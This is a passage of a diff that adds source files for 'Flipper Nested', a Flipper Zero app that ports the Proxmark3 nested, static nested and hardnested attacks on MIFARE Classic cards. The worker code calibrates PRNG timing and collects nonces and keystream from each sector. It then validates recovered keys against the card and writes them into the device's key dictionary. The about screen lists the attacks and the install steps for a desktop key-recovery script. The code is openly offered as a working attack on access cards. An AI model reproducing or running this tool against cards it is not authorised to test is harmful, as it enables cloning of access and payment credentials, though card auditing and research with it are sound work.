+                nested_calibrate_distance_info(&tx_rx, key_block, found_key_type, key);
+
+            if(info.max_prng - info.min_prng > 150) {
+                FURI_LOG_W(
+                    TAG,
+                    "PRNG is too unpredictable (min/max values more than 150: %lu - %lu = %lu), fallback to delay method",
+                    info.max_prng,
+                    info.min_prng,
+                    info.max_prng - info.min_prng);
+
+                delay = 1;
+            } else {
+                FURI_LOG_I(
+                    TAG,
+                    "PRNG is stable, using method without delay! (May be false positive, still will collect x3 times)");
+
+                distance =
+                    nested_calibrate_distance(&tx_rx, key_block, found_key_type, key, delay, true);
+
+                delay = 2;
+                tries_count = 3;
+            }
+        }
+
+        if(distance == 0 || delay == 1) {
+            bool failed = false;
+            // Tag need delay or unpredictable PRNG
+            FURI_LOG_W(TAG, "Can't determine distance, trying to find timing...");
+
+            mifare_nested_worker->callback(
+                MifareNestedWorkerEventNeedPrediction, mifare_nested_worker->context);
+
+            delay = mifare_nested_worker_predict_delay(
+                &tx_rx, key_block, found_key_type, key, 0, mifare_nested_worker);
+
+            if(delay == 1) {
+                FURI_LOG_E(TAG, "Can't determine delay");
+
+                // Check that we didn't lost tag
+                FuriHalNfcDevData lost_tag_data = {};
+                nested_get_data(&lost_tag_data);
+                if(lost_tag_data.uid_len == 0) {
+                    // We lost it.
+                    mifare_nested_worker->callback(
+                        MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
+
+                    while(mifare_nested_worker->state == MifareNestedWorkerStateCollecting &&
+                          lost_tag_data.cuid != data.cuid) {
+                        furi_delay_ms(250);
+                        nested_get_data(&lost_tag_data);
+                    }
+
+                    mifare_nested_worker->callback(
+                        MifareNestedWorkerEventCalibrating, mifare_nested_worker->context);
+
+                    continue;
+                }
+
+                failed = true;
+            }
+
+            if(delay == 2) {
+                FURI_LOG_E(TAG, "Can't determine delay in 25 tries, fallback to hardnested");
+
+                nfc_deactivate();
+
+                free(mf_data);
+                free_nonces(&nonces, sector_count, 3);
+
+                mifare_nested_worker_change_state(
+                    mifare_nested_worker, MifareNestedWorkerStateCollectingHard);
+
+                mifare_nested_worker_collect_nonces_hard(mifare_nested_worker);
+                return;
+            }
+
+            if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting && !failed) {
+                distance = nested_calibrate_distance(
+                    &tx_rx, key_block, found_key_type, key, delay, false);
+            }
+
+            if(distance == 0 && !failed) {
+                FURI_LOG_E(TAG, "Found delay, but can't find distance");
+
+                failed = true;
+            }
+
+            if(failed) {
+                nfc_deactivate();
+
+                mifare_nested_worker->callback(
+                    MifareNestedWorkerEventAttackFailed, mifare_nested_worker->context);
+
+                free(mf_data);
+                free_nonces(&nonces, sector_count, 3);
+
+                return;
+            }
+
+            tries_count = 3;
+        }
+
+        mifare_nested_worker->context->nonces = &nonces;
+
+        mifare_nested_worker->callback(
+            MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
+
+        for(uint8_t tries = 0; tries < tries_count; tries++) {
+            for(uint8_t sector = 0; sector < sector_count; sector++) {
+                for(uint8_t key_type = 0; key_type < 2; key_type++) {
+                    Nonces* info = nonces.nonces[sector][key_type][tries];
+                    if(info->collected) {
+                        FURI_LOG_I(
+                            TAG,
+                            "Skipping sector %u, block %u, key_type: %u as we already have a key",
+                            sector,
+                            mifare_nested_worker_get_block_by_sector(sector),
+                            key_type);
+
+                        info->skipped = true;
+
+                        nonces.nonces[sector][key_type][tries] = info;
+                        mifare_nested_worker->context->nonces = &nonces;
+
+                        mifare_nested_worker->callback(
+                            MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
+
+                        continue;
+                    }
+
+                    if(!nested_check_block(
+                           &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) {
+                        FURI_LOG_E(
+                            TAG,
+                            "Skipping sector %u, block %u, key_type: %u as we can't auth on it",
+                            sector,
+                            mifare_nested_worker_get_block_by_sector(sector),
+                            key_type);
+
+                        info->skipped = true;
+
+                        nonces.nonces[sector][key_type][0] = info;
+                        mifare_nested_worker->context->nonces = &nonces;
+
+                        mifare_nested_worker->callback(
+                            MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
+
+                        continue;
+                    }
+
+                    while(!info->collected) {
+                        if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) {
+                            break;
+                        }
+
+                        struct nonce_info result = nested_attack(
+                            &tx_rx,
+                            key_block,
+                            found_key_type,
+                            mifare_nested_worker_get_block_by_sector(sector),
+                            key_type,
+                            key,
+                            distance,
+                            delay);
+
+                        if(result.full) {
+                            FURI_LOG_I(
+                                TAG,
+                                "Accured nonces for sector %u, block %u, key_type: %u",
+                                sector,
+                                mifare_nested_worker_get_block_by_sector(sector),
+                                key_type);
+
+                            info = nonces.nonces[sector][key_type][tries];
+                            info->collected = true;
+                            info->skipped = false;
+
+                            memcpy(&info->target_nt, result.target_nt, sizeof(result.target_nt));
+                            memcpy(&info->target_ks, result.target_ks, sizeof(result.target_ks));
+                            memcpy(&info->parity, result.parity, sizeof(result.parity));
+
+                            nonces.nonces[sector][key_type][tries] = info;
+                            nonces.cuid = result.cuid;
+                            nonces.sector_count = sector_count;
+                            nonces.tries = tries_count;
+
+                            mifare_nested_worker->context->nonces = &nonces;
+
+                            mifare_nested_worker->callback(
+                                MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
+                            break;
+                        } else {
+                            mifare_nested_worker->callback(
+                                MifareNestedWorkerEventNoTagDetected,
+                                mifare_nested_worker->context);
+                        }
+                    }
+                }
+            }
+        }
+
+        break;
+    }
+
+    SaveNoncesResult_t* result = mifare_nested_worker_write_nonces(
+        &data, storage, &nonces, tries_count, 3, sector_count, delay, distance);
+
+    free(mf_data);
+
+    if(result->saved) {
+        mifare_nested_worker->callback(
+            MifareNestedWorkerEventNoncesCollected, mifare_nested_worker->context);
+    } else {
+        mifare_nested_worker->context->save_state = result;
+
+        mifare_nested_worker->callback(
+            MifareNestedWorkerEventNoNoncesCollected, mifare_nested_worker->context);
+    }
+
+    nfc_deactivate();
+}
+
+bool* mifare_nested_worker_check_keys_exists(
+    Storage* storage,
+    char* path,
+    uint64_t* keys,
+    uint32_t key_count,
+    MifareNestedWorker* mifare_nested_worker) {
+    bool* old_keys = malloc(sizeof(bool) * key_count);
+    Stream* file_stream = file_stream_alloc(storage);
+    file_stream_open(file_stream, path, FSAM_READ, FSOM_OPEN_ALWAYS);
+    FuriString* key_strings[key_count];
+
+    for(uint32_t i = 0; i < key_count; i++) {
+        old_keys[i] = false;
+        key_strings[i] = furi_string_alloc_printf("%012llX\n", keys[i]);
+    }
+
+    while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
+        FuriString* next_line = furi_string_alloc();
+
+        if(!stream_read_line(file_stream, next_line)) {
+            break;
+        }
+
+        for(uint32_t i = 0; i < key_count; i++) {
+            if(keys[i] == (uint64_t)-1) continue;
+
+            if(furi_string_cmp(next_line, key_strings[i]) == 0) {
+                old_keys[i] = true;
+            }
+        }
+
+        furi_string_free(next_line);
+    }
+
+    for(uint32_t i = 0; i < key_count; i++) {
+        furi_string_free(key_strings[i]);
+    }
+
+    file_stream_close(file_stream);
+    free(file_stream);
+
+    return old_keys;
+}
+
+void mifare_nested_worker_write_key(Storage* storage, FuriString* key) {
+    Stream* file_stream = file_stream_alloc(storage);
+    file_stream_open(
+        file_stream,
+        EXT_PATH("nfc/assets/mf_classic_dict_user.nfc"),
+        FSAM_READ_WRITE,
+        FSOM_OPEN_APPEND);
+
+    stream_write_string(file_stream, key);
+
+    file_stream_close(file_stream);
+}
+
+void mifare_nested_worker_check_keys(MifareNestedWorker* mifare_nested_worker) {
+    KeyInfo_t* key_info = mifare_nested_worker->context->keys;
+    Storage* storage = furi_record_open(RECORD_STORAGE);
+    Stream* file_stream = file_stream_alloc(storage);
+    FuriString* next_line = furi_string_alloc();
+    FuriString* path = furi_string_alloc();
+    FuriHalNfcDevData data = {};
+    nested_get_data(&data);
+    MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
+    NestedCheckKeyResult result = NestedCheckKeyNoTag;
+    FuriHalNfcTxRxContext tx_rx = {};
+    uint32_t key_count = 0;
+    uint32_t sector_key_count = 0;
+    uint64_t keys[80];
+    bool found_keys[2][40];
+    bool unique_keys[2][40];
+    uint32_t sector_count = 0;
+
+    if(type == MfClassicType4k) {
+        sector_count = 40;
+        FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
+    } else if(type == MfClassicType1k) {
+        sector_count = 16;
+        FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
+    } else { // if(type == MfClassicTypeMini)
+        sector_count = 5;
+        FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
+    }
+
+    uint32_t keys_count = sector_count * 2;
+
+    for(uint8_t key = 0; key < 2; key++) {
+        for(uint8_t i = 0; i < sector_count; i++) {
+            found_keys[key][i] = false;
+            unique_keys[key][i] = false;
+        }
+    }
+
+    for(uint8_t i = 0; i < keys_count; i++) {
+        keys[i] = -1;
+    }
+
+    mifare_nested_worker_get_found_keys_file_path(&data, path);
+
+    if(!file_stream_open(file_stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) {
+        FURI_LOG_E(TAG, "Can't open %s", furi_string_get_cstr(path));
+
+        file_stream_close(file_stream);
+
+        mifare_nested_worker_get_nonces_file_path(&data, path);
+
+        if(!file_stream_open(
+               file_stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) {
+            mifare_nested_worker->callback(
+                MifareNestedWorkerEventNeedCollection, mifare_nested_worker->context);
+        } else {
+            mifare_nested_worker->callback(
+                MifareNestedWorkerEventNeedKeyRecovery, mifare_nested_worker->context);
+        }
+
+        file_stream_close(file_stream);
+
+        free(file_stream);
+        furi_string_free(path);
+        furi_string_free(next_line);
+        furi_record_close(RECORD_STORAGE);
+
+        return;
+    };
+
+    while(true) {
+        if(!stream_read_line(file_stream, next_line)) {
+            break;
+        }
+
+        if(furi_string_start_with_str(next_line, "Key")) {
+            uint8_t key_type = furi_string_get_char(next_line, 4) == 'B';
+            uint8_t sector = atoi((char[]){furi_string_get_char(next_line, 13)}) * 10 +
+                             atoi((char[]){furi_string_get_char(next_line, 14)});
+
+            if(!unique_keys[key_type][sector]) {
+                unique_keys[key_type][sector] = true;
+                sector_key_count++;
+            }
+        }
+
+        key_count++;
+    }
+
+    stream_rewind(file_stream);
+
+    key_info->total_keys = key_count;
+    key_info->sector_keys = sector_key_count;
+
+    while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
+        if(!stream_read_line(file_stream, next_line)) {
+            break;
+        }
+
+        if(furi_string_start_with_str(next_line, "Key")) {
+            // Key X sector XX: XX XX XX XX XX XX
+            // 0000000000111111111122222222223333
+            // 0123456789012345678901234567890123
+            uint8_t keyChar[6];
+            uint8_t count = 0;
+
+            uint8_t key_type = furi_string_get_char(next_line, 4) == 'B';
+            uint8_t sector = atoi((char[]){furi_string_get_char(next_line, 13)}) * 10 +
+                             atoi((char[]){furi_string_get_char(next_line, 14)});
+
+            for(uint8_t i = 17; i < 33; i += 3) {
+                hex_char_to_uint8(
+                    furi_string_get_char(next_line, i),
+                    furi_string_get_char(next_line, i + 1),
+                    &keyChar[count]);
+                count++;
+            }
+
+            uint64_t key = nfc_util_bytes2num(keyChar, 6);
+
+            key_info->checked_keys++;
+
+            if(found_keys[key_type][sector]) {
+                mifare_nested_worker->callback(
+                    MifareNestedWorkerEventKeyChecked, mifare_nested_worker->context);
+
+                continue;
+            }
+
+            while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
+                result = nested_check_key(
+                    &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type, key);
+
+                if(result == NestedCheckKeyNoTag) {
+                    mifare_nested_worker->callback(
+                        MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
+
+                    furi_delay_ms(250);
+                } else {
+                    break;
+                }
+            }
+
+            if(result == NestedCheckKeyValid) {
+                FURI_LOG_I(
+                    TAG, "Found valid %c key for sector %u: %012llX", key_type, sector, key);
+                bool exists = false;
+
+                for(uint8_t i = 0; i < keys_count; i++) {
+                    if(keys[i] == key) {
+                        exists = true;
+                    }
+                }
+
+                if(!exists) {
+                    keys[key_info->found_keys] = key;
+                }
+
+                key_info->found_keys++;
+                found_keys[key_type][sector] = true;
+            }
+
+            mifare_nested_worker->callback(
+                MifareNestedWorkerEventKeyChecked, mifare_nested_worker->context);
+        }
+    }
+
+    furi_string_free(next_line);
+    file_stream_close(file_stream);
+    free(file_stream);
+
+    mifare_nested_worker->callback(
+        MifareNestedWorkerEventProcessingKeys, mifare_nested_worker->context);
+
+    bool* old_keys = mifare_nested_worker_check_keys_exists(
+        storage,
+        EXT_PATH("nfc/assets/mf_classic_dict_user.nfc"),
+        keys,
+        keys_count,
+        mifare_nested_worker);
+
+    for(uint8_t i = 0; i < keys_count; i++) {
+        if(old_keys[i]) {
+            keys[i] = -1;
+        }
+    }
+
+    old_keys = mifare_nested_worker_check_keys_exists(
+        storage,
+        EXT_PATH("nfc/assets/mf_classic_dict.nfc"),
+        keys,
+        keys_count,
+        mifare_nested_worker);
+
+    for(uint8_t i = 0; i < keys_count; i++) {
+        if(old_keys[i]) {
+            keys[i] = -1;
+        }
+    }
+
+    for(uint8_t i = 0; i < keys_count; i++) {
+        if(keys[i] == (uint64_t)-1) continue;
+
+        FuriString* key_string = furi_string_alloc_printf("%012llX\n", keys[i]);
+
+        mifare_nested_worker_write_key(storage, key_string);
+        FURI_LOG_I(TAG, "Added new key: %s", furi_string_get_cstr(key_string));
+
+        key_info->added_keys++;
+
+        furi_string_free(key_string);
+    }
+
+    if(!storage_simply_remove(storage, furi_string_get_cstr(path))) {
+        FURI_LOG_E(TAG, "Failed to remove .keys file");
+    }
+
+    furi_record_close(RECORD_STORAGE);
+    furi_string_free(path);
+
+    mifare_nested_worker->callback(
+        MifareNestedWorkerEventKeysFound, mifare_nested_worker->context);
+
+    return;
+}

+ 98 - 0
mifare_nested/mifare_nested_worker.h

@@ -0,0 +1,98 @@
+#pragma once
+
+#include <lib/nfc/nfc_device.h>
+
+#define NESTED_FOLDER EXT_PATH("nfc/.nested")
+
+typedef struct MifareNestedWorker MifareNestedWorker;
+
+typedef enum {
+    MifareNestedWorkerStateReady,
+
+    MifareNestedWorkerStateCheck,
+    MifareNestedWorkerStateCollecting,
+    MifareNestedWorkerStateCollectingStatic,
+    MifareNestedWorkerStateCollectingHard,
+    MifareNestedWorkerStateValidating,
+
+    MifareNestedWorkerStateStop,
+} MifareNestedWorkerState;
+
+typedef enum {
+    MifareNestedWorkerEventReserved = 1000,
+
+    MifareNestedWorkerEventNoTagDetected,
+    MifareNestedWorkerEventNoNoncesCollected,
+    MifareNestedWorkerEventNoncesCollected,
+    MifareNestedWorkerEventCollecting,
+
+    MifareNestedWorkerEventNewNonce,
+    MifareNestedWorkerEventKeyChecked,
+    MifareNestedWorkerEventKeysFound,
+    MifareNestedWorkerEventNeedKey,
+    MifareNestedWorkerEventAttackFailed,
+    MifareNestedWorkerEventCalibrating,
+    MifareNestedWorkerEventStaticEncryptedNonce,
+    MifareNestedWorkerEventNeedPrediction,
+    MifareNestedWorkerEventProcessingKeys,
+    MifareNestedWorkerEventNeedKeyRecovery,
+    MifareNestedWorkerEventNeedCollection,
+    MifareNestedWorkerEventHardnestedStatesFound
+} MifareNestedWorkerEvent;
+
+typedef bool (*MifareNestedWorkerCallback)(MifareNestedWorkerEvent event, void* context);
+
+MifareNestedWorker* mifare_nested_worker_alloc();
+
+void mifare_nested_worker_change_state(
+    MifareNestedWorker* mifare_nested_worker,
+    MifareNestedWorkerState state);
+
+void mifare_nested_worker_free(MifareNestedWorker* mifare_nested_worker);
+
+void mifare_nested_worker_stop(MifareNestedWorker* mifare_nested_worker);
+
+void mifare_nested_worker_start(
+    MifareNestedWorker* mifare_nested_worker,
+    MifareNestedWorkerState state,
+    NfcDeviceData* dev_data,
+    MifareNestedWorkerCallback callback,
+    void* context);
+
+typedef struct {
+    uint32_t key_type;
+    uint32_t block;
+    uint32_t target_nt[2];
+    uint32_t target_ks[2];
+    uint8_t parity[2][4];
+    bool skipped;
+    bool from_start;
+    bool invalid;
+    bool collected;
+    bool hardnested;
+} Nonces;
+
+typedef struct {
+    uint32_t cuid;
+    uint32_t sector_count;
+    // 40 (or 16/5) sectors, 2 keys (A/B), 3 tries
+    Nonces* nonces[40][2][3];
+    uint32_t tries;
+    // unique first bytes
+    uint32_t hardnested_states;
+} NonceList_t;
+
+typedef struct {
+    uint32_t total_keys;
+    uint32_t checked_keys;
+    uint32_t found_keys;
+    uint32_t added_keys;
+    uint32_t sector_keys;
+    bool tag_lost;
+} KeyInfo_t;
+
+typedef struct {
+    uint32_t saved;
+    uint32_t invalid;
+    uint32_t skipped;
+} SaveNoncesResult_t;

+ 28 - 0
mifare_nested/mifare_nested_worker_i.h

@@ -0,0 +1,28 @@
+#pragma once
+
+#include <furi.h>
+#include "mifare_nested_i.h"
+#include "mifare_nested_worker.h"
+
+struct MifareNestedWorker {
+    FuriThread* thread;
+
+    NfcDeviceData* dev_data;
+
+    MifareNestedWorkerCallback callback;
+    MifareNested* context;
+
+    MifareNestedWorkerState state;
+};
+
+int32_t mifare_nested_worker_task(void* context);
+
+void mifare_nested_worker_check(MifareNestedWorker* mifare_nested_worker);
+
+void mifare_nested_worker_collect_nonces(MifareNestedWorker* mifare_nested_worker);
+
+void mifare_nested_worker_collect_nonces_static(MifareNestedWorker* mifare_nested_worker);
+
+void mifare_nested_worker_collect_nonces_hard(MifareNestedWorker* mifare_nested_worker);
+
+void mifare_nested_worker_check_keys(MifareNestedWorker* mifare_nested_worker);

+ 30 - 0
mifare_nested/scenes/mifare_nested_scene.c

@@ -0,0 +1,30 @@
+#include "mifare_nested_scene.h"
+
+// Generate scene on_enter handlers array
+#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter,
+void (*const mifare_nested_on_enter_handlers[])(void*) = {
+#include "mifare_nested_scene_config.h"
+};
+#undef ADD_SCENE
+
+// Generate scene on_event handlers array
+#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event,
+bool (*const mifare_nested_on_event_handlers[])(void* context, SceneManagerEvent event) = {
+#include "mifare_nested_scene_config.h"
+};
+#undef ADD_SCENE
+
+// Generate scene on_exit handlers array
+#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit,
+void (*const mifare_nested_on_exit_handlers[])(void* context) = {
+#include "mifare_nested_scene_config.h"
+};
+#undef ADD_SCENE
+
+// Initialize scene handlers configuration structure
+const SceneManagerHandlers mifare_nested_scene_handlers = {
+    .on_enter_handlers = mifare_nested_on_enter_handlers,
+    .on_event_handlers = mifare_nested_on_event_handlers,
+    .on_exit_handlers = mifare_nested_on_exit_handlers,
+    .scene_num = MifareNestedSceneNum,
+};

+ 29 - 0
mifare_nested/scenes/mifare_nested_scene.h

@@ -0,0 +1,29 @@
+#pragma once
+
+#include <gui/scene_manager.h>
+
+// Generate scene id and total number
+#define ADD_SCENE(prefix, name, id) MifareNestedScene##id,
+typedef enum {
+#include "mifare_nested_scene_config.h"
+    MifareNestedSceneNum,
+} MifareNestedScene;
+#undef ADD_SCENE
+
+extern const SceneManagerHandlers mifare_nested_scene_handlers;
+
+// Generate scene on_enter handlers declaration
+#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*);
+#include "mifare_nested_scene_config.h"
+#undef ADD_SCENE
+
+// Generate scene on_event handlers declaration
+#define ADD_SCENE(prefix, name, id) \
+    bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event);
+#include "mifare_nested_scene_config.h"
+#undef ADD_SCENE
+
+// Generate scene on_exit handlers declaration
+#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context);
+#include "mifare_nested_scene_config.h"
+#undef ADD_SCENE

+ 77 - 0
mifare_nested/scenes/mifare_nested_scene_about.c

@@ -0,0 +1,77 @@
+#include "../mifare_nested_i.h"
+
+void mifare_nested_scene_about_widget_callback(GuiButtonType result, InputType type, void* context) {
+    MifareNested* mifare_nested = context;
+    if(type == InputTypeShort) {
+        view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result);
+    }
+}
+
+void mifare_nested_scene_about_on_enter(void* context) {
+    MifareNested* mifare_nested = context;
+
+    FuriString* temp_str;
+    temp_str = furi_string_alloc();
+    furi_string_printf(temp_str, "\e#%s\n", "Information");
+
+    furi_string_cat_printf(temp_str, "Version: %s\n", NESTED_VERSION_APP);
+    furi_string_cat_printf(temp_str, "Developed by:\n%s\n\n", NESTED_AUTHOR);
+    furi_string_cat_printf(temp_str, "Github: %s\n\n", NESTED_GITHUB_LINK);
+
+    furi_string_cat_printf(temp_str, "\e#%s\n", "Description");
+    furi_string_cat_printf(
+        temp_str,
+        "Ported Nested attacks\nfrom Proxmark3 (Iceman fork)\nCurrently supported attacks:\n - nested attack\n - static nested attack\n - hard nested attack\n\n");
+    furi_string_cat_printf(
+        temp_str,
+        "You will need desktop app to recover keys from collected nonces: %s\n\n",
+        NESTED_RECOVER_KEYS_GITHUB_LINK);
+    furi_string_cat_printf(temp_str, "\e#%s\n", "Quick guide");
+    furi_string_cat_printf(temp_str, "1. Install key recovery script on PC:\n");
+    furi_string_cat_printf(temp_str, "pip install FlipperNested\n");
+    furi_string_cat_printf(temp_str, "2. Connect Flipper Zero to PC\n");
+    furi_string_cat_printf(temp_str, "3. Run key recovery:\n");
+    furi_string_cat_printf(temp_str, "FlipperNested");
+
+    widget_add_text_box_element(
+        mifare_nested->widget,
+        0,
+        0,
+        128,
+        14,
+        AlignCenter,
+        AlignBottom,
+        "\e#\e!                                                      \e!\n",
+        false);
+    widget_add_text_box_element(
+        mifare_nested->widget,
+        0,
+        2,
+        128,
+        14,
+        AlignCenter,
+        AlignBottom,
+        "\e#\e! Flipper Nested \e!\n",
+        false);
+    widget_add_text_scroll_element(
+        mifare_nested->widget, 0, 16, 128, 50, furi_string_get_cstr(temp_str));
+    furi_string_free(temp_str);
+
+    view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget);
+}
+
+bool mifare_nested_scene_about_on_event(void* context, SceneManagerEvent event) {
+    MifareNested* mifare_nested = context;
+    bool consumed = false;
+    UNUSED(mifare_nested);
+    UNUSED(event);
+
+    return consumed;
+}
+
+void mifare_nested_scene_about_on_exit(void* context) {
+    MifareNested* mifare_nested = context;
+
+    // Clear views
+    widget_reset(mifare_nested->widget);
+}

+ 76 - 0
mifare_nested/scenes/mifare_nested_scene_added_keys.c

@@ -0,0 +1,76 @@
+#include "../mifare_nested_i.h"
+
+void mifare_nested_scene_added_keys_widget_callback(
+    GuiButtonType result,
+    InputType type,
+    void* context) {
+    MifareNested* mifare_nested = context;
+    if(type == InputTypeShort) {
+        view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result);
+    }
+}
+
+void mifare_nested_scene_added_keys_on_enter(void* context) {
+    MifareNested* mifare_nested = context;
+    KeyInfo_t* key_info = mifare_nested->keys;
+    Widget* widget = mifare_nested->widget;
+    char draw_str[32] = {};
+    char append[5] = {'k', 'e', 'y', ' ', '\0'};
+    if(key_info->added_keys != 1) {
+        append[3] = 's';
+    }
+
+    widget_add_string_element(
+        widget, 0, 0, AlignLeft, AlignTop, FontPrimary, "Results of key recovery");
+
+    if(key_info->added_keys != 0) {
+        snprintf(draw_str, sizeof(draw_str), "Added: %lu %s", key_info->added_keys, append);
+        notification_message(mifare_nested->notifications, &sequence_success);
+        widget_add_icon_element(widget, 52, 17, &I_DolphinSuccess);
+    } else {
+        snprintf(draw_str, sizeof(draw_str), "No new keys were added");
+        widget_add_string_element(
+            widget, 0, 22, AlignLeft, AlignTop, FontSecondary, "Try running \"Nested attack\"");
+        widget_add_string_element(widget, 0, 32, AlignLeft, AlignTop, FontSecondary, "again");
+        notification_message(mifare_nested->notifications, &sequence_error);
+    }
+
+    widget_add_string_element(widget, 0, 12, AlignLeft, AlignTop, FontSecondary, draw_str);
+    widget_add_button_element(
+        widget,
+        GuiButtonTypeLeft,
+        "Back",
+        mifare_nested_scene_added_keys_widget_callback,
+        mifare_nested);
+
+    free(key_info);
+
+    KeyInfo_t* new_key_info = malloc(sizeof(KeyInfo_t));
+    mifare_nested->keys = new_key_info;
+
+    // Setup and start worker
+    view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget);
+}
+
+bool mifare_nested_scene_added_keys_on_event(void* context, SceneManagerEvent event) {
+    MifareNested* mifare_nested = context;
+    bool consumed = false;
+
+    if(event.type == SceneManagerEventTypeCustom) {
+        if(event.event == GuiButtonTypeCenter || event.event == GuiButtonTypeLeft) {
+            scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);
+            consumed = true;
+        }
+    } else if(event.type == SceneManagerEventTypeBack) {
+        scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);
+        consumed = true;
+    }
+
+    return consumed;
+}
+
+void mifare_nested_scene_added_keys_on_exit(void* context) {
+    MifareNested* mifare_nested = context;
+
+    widget_reset(mifare_nested->widget);
+}

+ 95 - 0
mifare_nested/scenes/mifare_nested_scene_check.c

@@ -0,0 +1,95 @@
+#include "../mifare_nested_i.h"
+
+enum {
+    MifareNestedSceneCheckStateTagSearch,
+    MifareNestedSceneCheckStateTagFound,
+};
+
+bool mifare_nested_check_worker_callback(MifareNestedWorkerEvent event, void* context) {
+    furi_assert(context);
+
+    MifareNested* mifare_nested = context;
+    view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, event);
+
+    return true;
+}
+
+static void mifare_nested_scene_check_setup_view(MifareNested* mifare_nested) {
+    Popup* popup = mifare_nested->popup;
+    popup_reset(popup);
+    uint32_t state =
+        scene_manager_get_scene_state(mifare_nested->scene_manager, MifareNestedSceneCheck);
+
+    if(state == MifareNestedSceneCheckStateTagSearch) {
+        popup_set_icon(mifare_nested->popup, 0, 8, &I_ApplyTag);
+        popup_set_text(
+            mifare_nested->popup, "Apply tag to\nthe back", 128, 32, AlignRight, AlignCenter);
+    } else {
+        popup_set_icon(popup, 12, 23, &I_Loading);
+        popup_set_header(popup, "Checking\nDon't move...", 52, 32, AlignLeft, AlignCenter);
+    }
+
+    view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewPopup);
+}
+
+void mifare_nested_scene_check_on_enter(void* context) {
+    MifareNested* mifare_nested = context;
+
+    scene_manager_set_scene_state(
+        mifare_nested->scene_manager,
+        MifareNestedSceneCheck,
+        MifareNestedSceneCheckStateTagSearch);
+    mifare_nested_scene_check_setup_view(mifare_nested);
+
+    // Setup and start worker
+    mifare_nested_worker_start(
+        mifare_nested->worker,
+        MifareNestedWorkerStateCheck,
+        &mifare_nested->nfc_dev->dev_data,
+        mifare_nested_check_worker_callback,
+        mifare_nested);
+    mifare_nested_blink_start(mifare_nested);
+}
+
+bool mifare_nested_scene_check_on_event(void* context, SceneManagerEvent event) {
+    MifareNested* mifare_nested = context;
+    bool consumed = false;
+
+    if(event.type == SceneManagerEventTypeCustom) {
+        if(event.event == MifareNestedWorkerEventCollecting) {
+            if(mifare_nested->run == NestedRunAttack) {
+                if(mifare_nested->settings->only_hardnested) {
+                    FURI_LOG_I("MifareNested", "Using Hard Nested because user settings");
+                    mifare_nested->collecting_type = MifareNestedWorkerStateCollectingHard;
+                }
+                scene_manager_next_scene(
+                    mifare_nested->scene_manager, MifareNestedSceneCollecting);
+            } else {
+                scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneCheckKeys);
+            }
+            consumed = true;
+        } else if(event.event == MifareNestedWorkerEventNoTagDetected) {
+            scene_manager_set_scene_state(
+                mifare_nested->scene_manager,
+                MifareNestedSceneCheck,
+                MifareNestedSceneCheckStateTagSearch);
+            mifare_nested_scene_check_setup_view(mifare_nested);
+            consumed = true;
+        }
+    }
+    return consumed;
+}
+
+void mifare_nested_scene_check_on_exit(void* context) {
+    MifareNested* mifare_nested = context;
+
+    mifare_nested_worker_stop(mifare_nested->worker);
+    scene_manager_set_scene_state(
+        mifare_nested->scene_manager,
+        MifareNestedSceneCheck,
+        MifareNestedSceneCheckStateTagSearch);
+    // Clear view
+    popup_reset(mifare_nested->popup);
+
+    mifare_nested_blink_stop(mifare_nested);
+}

+ 117 - 0
mifare_nested/scenes/mifare_nested_scene_check_keys.c

@@ -0,0 +1,117 @@
+#include "../mifare_nested_i.h"
+
+void mifare_nested_scene_check_keys_widget_callback(
+    GuiButtonType result,
+    InputType type,
+    void* context) {
+    MifareNested* mifare_nested = context;
+    if(type == InputTypeShort) {
+        view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result);
+    }
+}
+
+bool mifare_nested_check_keys_worker_callback(MifareNestedWorkerEvent event, void* context) {
+    MifareNested* mifare_nested = context;
+    CheckKeysState* plugin_state = mifare_nested->keys_state;
+
+    if(event == MifareNestedWorkerEventKeyChecked) {
+        mifare_nested_blink_nonce_collection_start(mifare_nested);
+
+        KeyInfo_t* key_info = mifare_nested->keys;
+
+        with_view_model(
+            plugin_state->view,
+            CheckKeysViewModel * model,
+            {
+                model->lost_tag = false;
+                model->keys_checked = key_info->checked_keys;
+                model->keys_found = key_info->found_keys;
+                model->keys_total = key_info->sector_keys;
+                model->keys_count = key_info->total_keys;
+            },
+            true);
+    } else if(event == MifareNestedWorkerEventNoTagDetected) {
+        mifare_nested_blink_start(mifare_nested);
+
+        with_view_model(
+            plugin_state->view, CheckKeysViewModel * model, { model->lost_tag = true; }, true);
+    } else if(event == MifareNestedWorkerEventProcessingKeys) {
+        with_view_model(
+            plugin_state->view,
+            CheckKeysViewModel * model,
+            { model->processing_keys = true; },
+            true);
